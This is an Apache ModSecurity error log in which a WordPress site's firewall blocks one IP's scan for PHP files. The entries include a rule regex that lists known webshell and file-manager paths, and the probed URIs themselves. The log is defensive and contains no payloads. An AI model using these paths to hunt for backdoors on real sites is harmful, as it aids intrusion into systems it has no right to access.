[Fri Apr 03 05:11:13.625772 2026] [:error] [pid 58590:tid 58608] [client 20.104.201.101:1867] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bcUze_aEPDM9xEE2hugAAARA"]
[Fri Apr 03 05:11:13.759705 2026] [:error] [pid 22778:tid 22803] [client 20.104.201.101:1681] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bcfS-q9hkdFqUjq9rSQAAANI"]
[Fri Apr 03 05:11:14.301512 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1695] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bcu-GlVDWdWxxwJB3xQAAAJg"]
[Fri Apr 03 05:11:14.448433 2026] [:error] [pid 22673:tid 22757] [client 20.104.201.101:1611] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bcu-GlVDWdWxxwJB3xwAAAIs"]
[Fri Apr 03 05:11:14.850933 2026] [:error] [pid 22778:tid 22785] [client 20.104.201.101:1946] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "ac7bcvS-q9hkdFqUjq9rTgAAAMA"]
[Fri Apr 03 05:11:15.077571 2026] [:error] [pid 22673:tid 22746] [client 20.104.201.101:1882] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bc--GlVDWdWxxwJB3zwAAAIA"]
[Fri Apr 03 05:11:15.459283 2026] [:error] [pid 22671:tid 22694] [client 20.104.201.101:1615] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bcyRuUnMW7r8hvyY-JQAAAAM"]
[Fri Apr 03 05:11:15.590688 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1644] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bc0ze_aEPDM9xEE2hvwAAARM"]
[Fri Apr 03 05:11:15.906902 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1549] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bc0ze_aEPDM9xEE2hwQAAAQw"]
[Fri Apr 03 05:11:16.273753 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:2039] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "ac7bdO-GlVDWdWxxwJB30wAAAJg"]
[Fri Apr 03 05:11:16.334934 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:1709] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/edit.php"] [unique_id "ac7bdO-GlVDWdWxxwJB31AAAAIk"]
[Fri Apr 03 05:11:16.808098 2026] [:error] [pid 58590:tid 58602] [client 20.104.201.101:1633] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "ac7bdEze_aEPDM9xEE2hxwAAAQo"]
[Fri Apr 03 05:11:17.144689 2026] [:error] [pid 58590:tid 58607] [client 20.104.201.101:1744] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bdUze_aEPDM9xEE2hygAAAQ8"]
[Fri Apr 03 05:11:17.222788 2026] [:error] [pid 22673:tid 22754] [client 20.104.201.101:1751] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7bde-GlVDWdWxxwJB31gAAAIg"]
[Fri Apr 03 05:11:17.705918 2026] [:error] [pid 22672:tid 22732] [client 20.104.201.101:1545] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7bdazrgXkFSOK0fvp6zQAAAE0"]
[Fri Apr 03 05:11:17.781006 2026] [:error] [pid 58590:tid 58616] [client 20.104.201.101:2028] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bdUze_aEPDM9xEE2hzQAAARg"]
[Fri Apr 03 05:11:18.137615 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:1679] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "ac7bdkze_aEPDM9xEE2h0QAAAQc"]
[Fri Apr 03 05:11:18.300022 2026] [:error] [pid 22673:tid 22763] [client 20.104.201.101:1620] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bdu-GlVDWdWxxwJB33AAAAJE"]
[Fri Apr 03 05:11:18.565130 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:2022] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7bdqzrgXkFSOK0fvp60QAAAEA"]
[Fri Apr 03 05:11:18.801381 2026] [:error] [pid 22673:tid 22765] [client 20.104.201.101:1697] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7bdu-GlVDWdWxxwJB33QAAAJM"]
[Fri Apr 03 05:11:19.269405 2026] [:error] [pid 22672:tid 22742] [client 20.104.201.101:1691] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7bd6zrgXkFSOK0fvp62AAAAFc"]
[Fri Apr 03 05:11:19.769192 2026] [:error] [pid 58590:tid 58603] [client 20.104.201.101:1928] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7bd0ze_aEPDM9xEE2h1gAAAQs"]
[Fri Apr 03 05:11:19.881892 2026] [:error] [pid 58590:tid 58596] [client 20.104.201.101:1618] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7bd0ze_aEPDM9xEE2h1wAAAQQ"]
[Fri Apr 03 05:11:20.339634 2026] [:error] [pid 22672:tid 22721] [client 20.104.201.101:2002] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "ac7beKzrgXkFSOK0fvp63AAAAEI"]
[Fri Apr 03 05:11:20.382129 2026] [:error] [pid 22672:tid 22722] [client 20.104.201.101:1606] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7beKzrgXkFSOK0fvp63QAAAEM"]
[Fri Apr 03 05:11:20.789336 2026] [:error] [pid 22672:tid 22740] [client 20.104.201.101:1623] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ac7beKzrgXkFSOK0fvp64QAAAFU"]
[Fri Apr 03 05:11:20.902662 2026] [:error] [pid 22672:tid 22742] [client 20.104.201.101:1564] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7beKzrgXkFSOK0fvp64wAAAFc"]
[Fri Apr 03 05:11:21.341835 2026] [:error] [pid 22673:tid 22748] [client 20.104.201.101:1859] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ac7bee-GlVDWdWxxwJB34gAAAII"]
[Fri Apr 03 05:11:21.427568 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1715] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/packed.php"] [unique_id "ac7beUze_aEPDM9xEE2h2gAAARM"]
[Fri Apr 03 05:11:21.797269 2026] [:error] [pid 22673:tid 22769] [client 20.104.201.101:1607] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ac7bee-GlVDWdWxxwJB35AAAAJc"]
[Fri Apr 03 05:11:21.865806 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:1619] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/packed.php"] [unique_id "ac7beUze_aEPDM9xEE2h3AAAAQc"]
[Fri Apr 03 05:11:22.216002 2026] [:error] [pid 22673:tid 22746] [client 20.104.201.101:1630] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ac7beu-GlVDWdWxxwJB35gAAAIA"]
[Fri Apr 03 05:11:22.287274 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1659] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/packed.php"] [unique_id "ac7bekze_aEPDM9xEE2h3QAAAQw"]
[Fri Apr 03 05:11:22.766878 2026] [:error] [pid 22673:tid 22749] [client 20.104.201.101:1950] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7beu-GlVDWdWxxwJB35wAAAIM"]
[Fri Apr 03 05:11:23.200851 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:2031] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7be6zrgXkFSOK0fvp67gAAAEA"]
[Fri Apr 03 05:11:23.492828 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1838] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ac7be0ze_aEPDM9xEE2h3gAAAQI"]
[Fri Apr 03 05:11:23.837159 2026] [:error] [pid 22671:tid 22710] [client 20.104.201.101:1720] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7beyRuUnMW7r8hvyY-OAAAABM"]
[Fri Apr 03 05:11:24.287802 2026] [:error] [pid 22672:tid 22741] [client 20.104.201.101:2034] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/user.php"] [unique_id "ac7bfKzrgXkFSOK0fvp68gAAAFY"]
[Fri Apr 03 05:11:24.317878 2026] [:error] [pid 22671:tid 22705] [client 20.104.201.101:1869] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "ac7bfCRuUnMW7r8hvyY-OgAAAA4"]
[Fri Apr 03 05:11:24.710903 2026] [:error] [pid 22672:tid 22725] [client 20.104.201.101:1660] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bfKzrgXkFSOK0fvp69gAAAEY"]
[Fri Apr 03 05:11:25.176575 2026] [:error] [pid 22672:tid 22743] [client 20.104.201.101:1641] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "ac7bfazrgXkFSOK0fvp6-gAAAFg"]
[Fri Apr 03 05:11:26.223661 2026] [:error] [pid 22672:tid 22725] [client 20.104.201.101:1549] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "ac7bfqzrgXkFSOK0fvp7AgAAAEY"]
[Fri Apr 03 05:11:26.868873 2026] [:error] [pid 22672:tid 22733] [client 20.104.201.101:1931] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "ac7bfqzrgXkFSOK0fvp7BwAAAE4"]
[Fri Apr 03 05:11:27.312107 2026] [:error] [pid 22673:tid 22750] [client 20.104.201.101:1719] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bf--GlVDWdWxxwJB38QAAAIQ"]
[Fri Apr 03 05:11:27.396055 2026] [:error] [pid 22673:tid 22752] [client 20.104.201.101:2017] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/chosen.php"] [unique_id "ac7bf--GlVDWdWxxwJB38gAAAIY"]
[Fri Apr 03 05:11:27.727629 2026] [:error] [pid 22778:tid 22807] [client 20.104.201.101:1676] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bf_S-q9hkdFqUjq9rVwAAANY"]
[Fri Apr 03 05:11:28.195179 2026] [:error] [pid 22671:tid 22706] [client 20.104.201.101:1662] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ac7bgCRuUnMW7r8hvyY-QAAAAA8"]
[Fri Apr 03 05:11:28.308297 2026] [:error] [pid 22672:tid 22729] [client 20.104.201.101:1613] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/chosen.php"] [unique_id "ac7bgKzrgXkFSOK0fvp7DAAAAEo"]
[Fri Apr 03 05:11:28.605288 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:1920] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "ac7bgKzrgXkFSOK0fvp7DwAAAEA"]
[Fri Apr 03 05:11:29.053345 2026] [:error] [pid 22778:tid 22802] [client 20.104.201.101:1717] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/chosen.php"] [unique_id "ac7bgfS-q9hkdFqUjq9rWgAAANE"]
[Fri Apr 03 05:11:29.126527 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1704] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bgUze_aEPDM9xEE2h5gAAARM"]
[Fri Apr 03 05:11:29.547766 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1672] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bgUze_aEPDM9xEE2h6QAAAQw"]
[Fri Apr 03 05:11:29.597350 2026] [:error] [pid 22672:tid 22721] [client 20.104.201.101:1999] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/chosen.php"] [unique_id "ac7bgazrgXkFSOK0fvp7EgAAAEI"]
[Fri Apr 03 05:11:30.014113 2026] [:error] [pid 22673:tid 22747] [client 20.104.201.101:1649] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Utility/cc.php"] [unique_id "ac7bgu-GlVDWdWxxwJB4AQAAAIE"]
